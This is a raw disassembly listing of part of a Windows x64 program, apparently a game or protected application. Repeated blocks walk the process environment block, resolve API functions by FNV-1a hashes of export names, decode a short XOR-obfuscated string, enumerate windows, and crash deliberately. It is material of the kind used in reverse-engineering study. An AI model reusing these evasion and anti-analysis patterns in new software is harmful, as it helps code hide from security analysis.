jne 0x14005d550
mov rax, qword [rax]
jmp 0x14005d520
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
lea rcx, [rbp + 0x58]
add rbx, r10
call fcn.140069600
mov ecx, dword [rax]
call rbx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14005d657
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14005d657
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d652
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d630
cmp r8d, 0xa52bcaf9
je 0x14005d65c
test r9d, r9d
jne 0x14005d610
mov rax, qword [rax]
jmp 0x14005d5e0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
mov rbx, qword [rsi + 0x50]
mov rcx, rbx
call fcn.140030100
movss xmm3, dword [0x14011f3e4]
lea rdx, [0x140134100]
mov qword [rsp + 0x28], rax
mov r8d, 0x292c4
mov rcx, rbx
mov qword [rsp + 0x20], r13
call fcn.14002cfb0
xor ecx, ecx
call fcn.140027f40
mov rcx, qword [0x14018a860]
call fcn.14003f4f0
mov rdx, qword [0x14018ae98]
mov rcx, qword [0x14018ae90]
call fcn.14003f230
movss xmm10, dword [0x14011f360]
lea rcx, [rbp + 0x7a0]
movss xmm3, dword [0x14011f350]
movss xmm2, dword [0x14011f31c]
movss xmm1, dword [0x14011f300]
movss dword [rsp + 0x20], xmm10
mov byte [rsp + 0x60], r15b
call fcn.140001e80
lea rdx, [0x14005b110]
lea rcx, [rbp + 0x430]
call fcn.14006a080
mov rcx, rax
call fcn.14004b440
lea rcx, [rbp + 0x430]
call fcn.14004b420
movzx ebx, byte [rsp + 0x61]
mov r14d, dword [reloc.WS2_32.dll_accept]
movss xmm7, dword [0x14011f410]
movss xmm8, dword [0x14011f3d8]
movss xmm9, dword [0x14011f478]
movsd xmm11, qword [0x14011f388]
movsd xmm12, qword [0x14011f3b0]
movss xmm13, dword [0x14011f40c]
movss xmm14, dword [0x14011f424]
movss xmm15, dword [0x14011f440]
nop dword [rax]
cmp byte [0x14018a84d], 0
je 0x14005d9e0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xe70]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005d857
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005d857
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d852
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d830
cmp r8d, 0xcded1a85
je 0x14005d85c
test r9d, r9d
jne 0x14005d810
mov rax, qword [rax]
jmp 0x14005d7e0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005d907
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005d907
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d902
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d8e0
cmp r8d, 0xe80fd3a
je 0x14005d90c
test r9d, r9d
jne 0x14005d8c0
mov rax, qword [rax]
jmp 0x14005d890
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005d9b7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005d9b7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005d9b2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005d990
cmp r8d, 0xa52bcaf9
je 0x14005d9bc
test r9d, r9d
jne 0x14005d970
mov rax, qword [rax]
jmp 0x14005d940
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea rdx, [0x14005b110]
lea rcx, [rbp + 0x280]
call fcn.14006c7b0
lea rcx, [rbp + 0x280]
call fcn.14004b440
cmp dword [rbp + 0x288], 0
jne 0x140066296
mov ecx, dword [0x14018a990]
call fcn.140056100
test al, al
je 0x14005dc60
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xe90]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005dad7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005dad7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005dad2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005dab0
cmp r8d, 0xcded1a85
je 0x14005dadc
test r9d, r9d
jne 0x14005da90
mov rax, qword [rax]
jmp 0x14005da60
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005db87
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005db87
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005db82
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005db60
cmp r8d, 0xe80fd3a
je 0x14005db8c
test r9d, r9d
jne 0x14005db40
mov rax, qword [rax]
jmp 0x14005db10
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005dc37
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005dc37
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005dc32
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005dc10
cmp r8d, 0xa52bcaf9
je 0x14005dc3c
test r9d, r9d
jne 0x14005dbf0
mov rax, qword [rax]
jmp 0x14005dbc0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
mov eax, dword [0x14011b308]
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x68], eax
xor edx, edx
movzx eax, word [0x14011b30c]
xor byte [rsp + 0x69], 0x33
xor byte [rsp + 0x6a], 0x34
xor byte [rsp + 0x6b], 0x35
mov word [rsp + 0x6c], ax
xor byte [rsp + 0x6c], 0x36
xor byte [rsp + 0x6d], 0x37
mov byte [rsp + 0x68], reloc.WLDAP32.dll_Ordinal_46
call fcn.1400532f0
test al, al
je 0x14005dee0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xeb0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005dd57
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005dd57
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005dd52
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005dd30
cmp r8d, 0xcded1a85
je 0x14005dd5c
test r9d, r9d
jne 0x14005dd10
mov rax, qword [rax]
jmp 0x14005dce0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005de07
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005de07
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005de02
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005dde0
cmp r8d, 0xe80fd3a
je 0x14005de0c
test r9d, r9d
jne 0x14005ddc0
mov rax, qword [rax]
jmp 0x14005dd90
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005deb7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005deb7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005deb2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005de90
cmp r8d, 0xa52bcaf9
je 0x14005debc
test r9d, r9d
jne 0x14005de70
mov rax, qword [rax]
jmp 0x14005de40
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
xor edx, edx
lea rcx, [0x140053540]
call qword [sym.imp.USER32.dll_EnumWindows]
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, [rbp + 0x5d0]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005df64
nop dword [rax]
lea rcx, [rbp + 0x5d0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x5d0]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x5d8], 0x12
lea rcx, [rbp + 0x5d0]
movzx r12d, r12b
cmove r12d, r15d
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005df10
mov dword [rbp + 0x28], r12d
test r12b, r12b
jne 0x1400661a9
cmp byte [0x14018a84d], 0
je 0x14005e1b0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xed0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e027
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e027
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e022
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e000
cmp r8d, 0xcded1a85
je 0x14005e02c
test r9d, r9d
jne 0x14005dfe0
mov rax, qword [rax]
jmp 0x14005dfb0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e0d7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e0d7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e0d2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e0b0
cmp r8d, 0xe80fd3a
je 0x14005e0dc
test r9d, r9d
jne 0x14005e090
mov rax, qword [rax]
jmp 0x14005e060
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e187
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e187
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e182
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e160
cmp r8d, 0xa52bcaf9
je 0x14005e18c
test r9d, r9d
jne 0x14005e140
mov rax, qword [rax]
jmp 0x14005e110
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
mov eax, dword [0x14011b308]
lea rcx, [rsp + 0x6e]
mov dword [rsp + 0x6e], eax
xor edx, edx
movzx eax, word [0x14011b30c]
xor byte [rsp + 0x6f], 0x33
xor byte [rsp + 0x70], 0x34
xor byte [rsp + 0x71], 0x35
mov word [rsp + 0x72], ax
xor byte [rsp + 0x72], 0x36
xor byte [rsp + 0x73], 0x37
mov byte [rsp + 0x6e], reloc.WLDAP32.dll_Ordinal_46
call fcn.1400532f0
test al, al
je 0x14005e430
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xef0]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e2a7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e2a7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e2a2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e280
cmp r8d, 0xcded1a85
je 0x14005e2ac
test r9d, r9d
jne 0x14005e260
mov rax, qword [rax]
jmp 0x14005e230
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e357
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e357
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e352
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e330
cmp r8d, 0xe80fd3a
je 0x14005e35c
test r9d, r9d
jne 0x14005e310
mov rax, qword [rax]
jmp 0x14005e2e0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e407
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e407
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e402
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e3e0
cmp r8d, 0xa52bcaf9
je 0x14005e40c
test r9d, r9d
jne 0x14005e3c0
mov rax, qword [rax]
jmp 0x14005e390
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
call fcn.14003f4a0
call fcn.140040300
call fcn.140009010
lea rdx, [0x14005b110]
lea rcx, [rbp + 0x290]
call fcn.14006c7b0
lea rcx, [rbp + 0x290]
call fcn.14004b440
cmp dword [rbp + 0x298], 0
jne 0x140066296
mov eax, dword [0x14011b308]
lea rcx, [rbp - 0x60]
mov dword [rbp - 0x60], eax
xor edx, edx
movzx eax, word [0x14011b30c]
xor byte [rbp - 0x5f], 0x33
xor byte [rbp - 0x5e], 0x34
xor byte [rbp - 0x5d], 0x35
mov word [rbp - 0x5c], ax
xor al, 0x36
xor byte [rbp - 0x5b], 0x37
mov byte [rbp - 0x5c], al
mov byte [rbp - 0x60], reloc.WLDAP32.dll_Ordinal_46
call fcn.1400532f0
test al, al
je 0x14005e6f0
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xf10]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e567
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e567
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e562
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e540
cmp r8d, 0xcded1a85
je 0x14005e56c
test r9d, r9d
jne 0x14005e520
mov rax, qword [rax]
jmp 0x14005e4f0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e617
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e617
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e612
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e5f0
cmp r8d, 0xe80fd3a
je 0x14005e61c
test r9d, r9d
jne 0x14005e5d0
mov rax, qword [rax]
jmp 0x14005e5a0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e6c7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e6c7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e6c2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e6a0
cmp r8d, 0xa52bcaf9
je 0x14005e6cc
test r9d, r9d
jne 0x14005e680
mov rax, qword [rax]
jmp 0x14005e650
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
call fcn.1400532b0
test al, al
je 0x14005e940
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0xf30]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005e7b7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005e7b7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005e7b2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005e790
cmp r8d, 0xcded1a85
je 0x14005e7bc
test r9d, r9d
